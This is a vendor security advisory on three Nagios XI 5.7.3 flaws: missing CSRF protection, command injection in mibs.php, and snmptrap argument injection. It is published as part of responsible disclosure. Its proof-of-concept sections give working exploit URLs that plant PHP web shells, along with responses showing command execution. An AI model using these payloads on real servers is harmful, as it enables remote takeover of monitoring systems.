Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Nagios XI Multiple Vulnerabilities

Medium

Synopsis

We have discovered multiple vulnerabilities in Nagios XI 5.7.3.

CVE-2020-5790: Cross-site Request Forgery

CVSS v3 Base Score: 4.3
CVSS v3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Cross-site request forgery (CSRF) vulnerabilities exist in Nagios XI for various requests. While there is protection implemented via the Nagios Session Protector in other parts of the application, it was found that protection is incomplete in the following: - /nagiosxi/admin/mibs.php - /nagiosxi/includes/components/nxti/index.php

CRSF can be exploited by a remote, unauthenticated attacker to execute sensitive application actions in the context of an authenticated user. This would likely be exploited via phishing or some other means to trick a legitimate Nagios user into clicking a malicious link.

For example, the mibs.php undo_process_single() function does not call check_nagios_session_protector().

CSRF can be chained with other vulnerabilities in this report to gain remote code execution. Please see the PoC for vulnerability 2, as it exploits CSRF.

CVE-2020-5791: Authenticated OS Command Injection RCE in /nagiosxi/admin/mibs.php

CVSS v3 Base Score: 4.7
CVSS v3 Vector: AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

An OS command injection vulnerability exists in the admin/mibs.php file. A remote, authenticated attacker with admin privileges may exploit this vulnerability to execute arbitrary OS commands with privileges of the 'apache' user. Specifically, when the 'mode' HTTP parameter equals 'undo-processing' and the 'type' parameter equals 1, the 'file' parameter will ultimately be passed to the PHP exec() function without sanitization.

Below are code snippets to show this:

function route_request()
{
    global $request;

    $mode = '';
    if (isset($request['mode'])) {
        $mode = $request['mode'];    
    }

    switch ($mode) {
        ...
        case 'undo-processing':
            undo_process_single();	// VULN
            break;
       ...
    }	
...
}

function undo_process_single() {
    // Mode needs to be based on processing type of MIB, not on 'current' processing type

    $file = grab_request_var('file', '');
    $name = grab_request_var('name', '');
    $current_type = intval(grab_request_var('type', MIB_UPLOAD_DO_NOTHING));

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {
        show_mibs(false, _("No processing to be undone"));
    }

    undo_processing($file, $name, $current_type);	// VULN

    show_mibs(false, sprintf(_("Successfully reverted %s to 'uploaded' state"), $name));
}

function undo_processing($file, $name, $current_type) {

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {
        return;
    }

    $current_conf_path = get_processing_destination($current_type) . '/' . $file;

    remove_snmpttconvertmib_files(array($file));

    if ($current_type === MIB_UPLOAD_PROCESS_ONLY) {
        $get_event_names_cmd = get_root_dir() . "/scripts/nxti_import.php $current_conf_path --no-insert";
        exec($get_event_names_cmd, $all_events, $rc);	// VULN
        $all_events = array_unique($all_events);

        remove_from_snmptt_conf($all_events);
    }

    mibs_revert_db_entry($name);
}

Proof of Concept (PoC)

Attacker sends the following link to a Nagios XI Administrator:

http://192.168.1.178/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file=%3becho+-ne+"\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e">/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/scooby.php

Once the admin clicks the link, scooby.php will be created, and the attacker can access the newly created PHP script to execute more commands. Notice 'apache' in the response.

http://192.168.1.178/nagiosxi/includes/components/autodiscovery/jobs/scooby.php?cmd=whoami
Response:
HTTP/1.1 200 OK
Date: Thu, 24 Sep 2020 21:09:56 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 19
Connection: close
Content-Type: text/html; charset=UTF-8

apache
 --no-insert

CVE-2020-5792: Authenticated OS Command Argument Injection Vulnerability Leading to Arbitrary File Write / RCE in /nagiosxi/includes/components/nxti/index.php

CVSS v3 Base Score: 4.7
CVSS v3 Vector: AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

An OS command argument injection vulnerability exists in the send_custom_trap() function in /nagiosxi/html/includes/components/nxti/index.php. Specifically, the $cmd variable is constructed by incorporating values from HTTP parameters. Prior to being passed to exec(), this command line is escaped using the PHP escapeshellcmd() function; however, this is insufficient, and an attacker is able to inject arbitrary arguments into the command. This vulnerability can be exploited by an authenticated attacker with admin rights to execute arbitrary code with privileges of the apache user.

In this case, the 'snmptrap' command is executed, and arguments can be injected to create a malicious PHP shell. For example, the -d flag will display the captured SNMP request made, and the output can be logged to a file using the -L flag. This causes a hexdump of the request to be logged to an arbitrary file location. Additionally, if variables are specified, the contents of the file can be crafted in such a way that a valid PHP shell is created. This shell could then be invoked using a subsequent web request to execute arbitrary OS commands.

Please note that this vulnerability can be exploited in combination with CSRF. If an administrator were to click the link, code execution could be gained by an unauthenticated, remote attacker.

Proof of Concept (PoC)

Send the following link to an authenticated Nagios XI administrator. Ensure the IP matches that of the target Nagios XI instance:

http://192.168.1.179/nagiosxi/includes/components/nxti/index.php?custom-version=2c&generic-trap-option=0&specific-trap-option=&custom-agent=&custom-community=a+-d+-L+f+/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/snmplog.php&custom-oid=NET-SNMP-EXAMPLES-MIB%3A%3AnetSnmpExampleHeartbeatNotification&variablebindings%5Bname%5D%5B%5D=x&variablebindings%5Btype%5D%5B%5D=x&variablebindings%5Bvalue%5D%5B%5D=3c3f706870202f2a2020202020202a2f73797374656d282f2a20202020202a2f245f4745545b2263225d292f2a202a2f3f3e&mode=customTrap

A file will then be created at /usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/snmplog.php. It will contain the following contents. Note how the PHP can be crafted with multiline comments to ensure a valid PHP file is created. Additionally, input validation filters were bypassed using snmptrap's hexadecimal variable formatting. :

Sending 132 bytes to UDP: [127.0.0.1]:162->[0.0.0.0]:0
0000: 30 81 81 02  01 01 04 01  61 A7 79 02  04 39 06 96    0.......a?y..9..
0016: E3 02 01 00  02 01 00 30  6B 30 0F 06  08 2B 06 01    ?......0k0...+..
0032: 02 01 01 03  00 43 03 01  DA C7 30 19  06 0A 2B 06    .....C..??0...+.
0048: 01 06 03 01  01 04 01 00  06 0B 2B 06  01 04 01 BF    ..........+....?
0064: 08 02 03 00  01 30 3D 06  08 2B 06 01  04 01 8F 65    .....0=..+.....e
0080: 08 04 31 3C  3F 70 68 70  20 2F 2A 20  20 20 20 20    ..1

Cannot rename /var/lib/net-snmp/snmpapp.conf to /var/lib/net-snmp/snmpapp.0.conf
Cannot unlink /var/lib/net-snmp/snmpapp.conf

Now, the PHP can be executed using an HTTP request. Notice the output of the 'id' command.

Request:

http://192.168.1.179/nagiosxi/includes/components/autodiscovery/jobs/snmplog.php?c=id

Response:

HTTP/1.1 200 OK
Date: Mon, 28 Sep 2020 16:09:56 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 706
Connection: close
Content-Type: text/html; charset=UTF-8


Sending 132 bytes to UDP: [127.0.0.1]:162->[0.0.0.0]:0
0000: 30 81 81 02  01 01 04 01  61 A7 79 02  04 39 06 96    0.......a§y..9..
0016: E3 02 01 00  02 01 00 30  6B 30 0F 06  08 2B 06 01    ã......0k0...+..
0032: 02 01 01 03  00 43 03 01  DA C7 30 19  06 0A 2B 06    .....C..ÚÇ0...+.
0048: 01 06 03 01  01 04 01 00  06 0B 2B 06  01 04 01 BF    ..........+....¿
0064: 08 02 03 00  01 30 3D 06  08 2B 06 01  04 01 8F 65    .....0=..+.....e
0080: 08 04 31 3C  3F 70 68 70  20 2F 2A 20  20 20 20 20    ..1uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)

Cannot rename /var/lib/net-snmp/snmpapp.conf to /var/lib/net-snmp/snmpapp.0.conf
Cannot unlink /var/lib/net-snmp/snmpapp.conf

Solution

Upgrade to Nagios XI 5.7.4 or newer.

Disclosure Timeline

09/29/2020 - Tenable asks Nagios if there is a PGP key we should use to encrypt the report.
09/29/2020 - Nagios responds. Tells us how we can send the report.
09/29/2020 - Tenable sends vulnerability report to Nagios. 90-day date is Dec 28, 2020.
10/01/2020 - Tenable follows up to ensure report was received.
10/08/2020 - Tenable follows up again to verify if report was received.
10/19/2020 - Tenable follows up via the Nagios "Contact Us" web form to ensure report was received.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 30 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now
Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year. Full details here.

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 30 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 30 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.

Try for Free Contact Sales

Try Tenable Lumin

FREE FOR 30 DAYS

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Request a demo of Tenable.ot

Get the Operational Technology Security You Need.
Reduce the Risk You Don’t.